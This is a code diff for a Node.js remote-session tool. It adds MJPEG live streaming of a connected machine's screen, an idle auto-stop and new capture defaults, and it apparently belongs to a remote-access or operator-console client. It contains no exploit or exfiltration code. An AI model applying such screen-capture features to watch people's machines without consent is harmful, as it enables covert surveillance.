@@ -72,8 +175,12 @@ function createScreenViewer(port = 5555) {
72
175
  res.end();
73
176
  });
74
177
 
75
- return {
178
+ const viewer = {
76
179
  port,
180
+ url: `http://127.0.0.1:${port}/`,
181
+ on(event, fn) {
182
+ emitter.on(event, fn);
183
+ },
77
184
  start() {
78
185
  return new Promise((resolve, reject) => {
79
186
  server.once('error', reject);
@@ -81,6 +188,15 @@ function createScreenViewer(port = 5555) {
81
188
  });
82
189
  },
83
190
  stop() {
191
+ clearIdleTimer();
192
+ for (const client of streamClients) {
193
+ try {
194
+ client.end();
195
+ } catch {
196
+ // ignore
197
+ }
198
+ }
199
+ streamClients.clear();
84
200
  return new Promise((resolve) => {
85
201
  server.close(() => resolve());
86
202
  });
@@ -92,12 +208,15 @@ function createScreenViewer(port = 5555) {
92
208
  }
93
209
  if (base64) {
94
210
  latestFrame = base64;
211
+ latestFrameBinary = Buffer.from(base64, 'base64');
95
212
  frameCount += 1;
96
213
  lastError = null;
214
+ pushFrameToClients(latestFrameBinary);
97
215
  }
98
216
  },
99
- url: `http://127.0.0.1:${port}/`,
100
217
  };
218
+
219
+ return viewer;
101
220
  }
102
221
 
103
222
  module.exports = { createScreenViewer };
@@ -67,30 +67,62 @@ async function runInteractiveShell(session, cli) {
67
67
  async function runLiveScreen(session, inp) {
68
68
  const parts = inp.trim().split(/\s+/);
69
69
  const portArg = parts[1] && /^\d+$/.test(parts[1]) ? Number(parts[1]) : null;
70
- const port = portArg || (session.config && session.config.screen && session.config.screen.viewerPort) || 5555;
71
- const fps = (session.config && session.config.screen && session.config.screen.fps) || 3;
70
+ const screenConf = (session.config && session.config.screen) || {};
71
+ const port = portArg || screenConf.viewerPort || 5555;
72
+ const fps = screenConf.fps || 8;
73
+ const idleStopSec = screenConf.idleStopSec || 45;
72
74
 
73
- const viewer = createScreenViewer(port);
75
+ const viewer = createScreenViewer(port, { idleStopSec });
76
+
77
+ let lastErrorAt = 0;
78
+ let stopRequested = false;
74
79
 
75
80
  session.setScreenFrameHandler((msg) => {
76
81
  viewer.updateFrame(msg.body, msg.meta || {});
77
82
  if (msg.meta && msg.meta.error) {
78
- process.stdout.write(`\r[!] Screen capture error: ${msg.meta.error}\n`);
83
+ const now = Date.now();
84
+ if (now - lastErrorAt >= 5000) {
85
+ lastErrorAt = now;
86
+ process.stdout.write(`\r[!] Screen capture error: ${msg.meta.error}\n`);
87
+ }
79
88
  }
80
89
  });
81
90
 
82
91
  try {
83
92
  await viewer.start();
84
- const startResp = await session.sendCommand('screen_start', '', { fps }, { timeoutMs: 30000 });
93
+
94
+ let idleResolve = null;
95
+ const idlePromise = new Promise((resolve) => {
96
+ idleResolve = resolve;
97
+ });
98
+
99
+ viewer.on('idle', () => {
100
+ if (!stopRequested) {
101
+ console.log(`\n[*] No viewer connected for ${idleStopSec}s — stopping live screen.`);
102
+ stopRequested = true;
103
+ if (idleResolve) idleResolve();
104
+ }
105
+ });
106
+
107
+ const startResp = await session.sendCommand('screen_start', '', {
108
+ fps,
109
+ maxWidth: screenConf.maxWidth,
110
+ maxHeight: screenConf.maxHeight,
111
+ jpegQuality: screenConf.jpegQuality,
112
+ minFps: screenConf.minFps,
113
+ dropFrames: screenConf.dropFrames,
114
+ display: screenConf.display,
115
+ }, { timeoutMs: 30000 });
116
+
85
117
  if (startResp.status === 'error') {
86
118
  console.log(startResp.body);
87
119
  return 'continue';
88
120
  }
89
121
 
90
122
  console.log(`\n[*] Live screen: ${viewer.url}`);
91
- console.log('[*] Open that URL in your browser. Press Enter here to stop.\n');
123
+ console.log('[*] MJPEG stream at /stream — open the URL in your browser. Press Enter to stop.\n');
92
124
 
93
- await new Promise((resolve) => {
125
+ const enterPromise = new Promise((resolve) => {
94
126
  const rl = readline.createInterface({ input: process.stdin, output: process.stdout });
95
127
  rl.once('line', () => {
96
128
  rl.close();
@@ -98,6 +130,9 @@ async function runLiveScreen(session, inp) {
98
130
  });
99
131
  });
100
132
 
133
+ await Promise.race([enterPromise, idlePromise]);
134
+
135
+ stopRequested = true;
101
136
  try {
102
137
  await session.sendCommand('screen_stop');
103
138
  } catch {
@@ -43,10 +43,15 @@ const DEFAULTS = {
43
43
  screenLive: true,
44
44
  },
45
45
  screen: {
46
- fps: 3,
46
+ fps: 8,
47
+ maxWidth: 1920,
48
+ maxHeight: 1080,
49
+ jpegQuality: 4,
47
50
  viewerPort: 5555,
48
51
  display: ':0',
49
- size: '1280x720',
52
+ dropFrames: true,
53
+ minFps: 4,
54
+ idleStopSec: 45,
50
55
  },
51
56
  lab: {
52
57
  mode: false,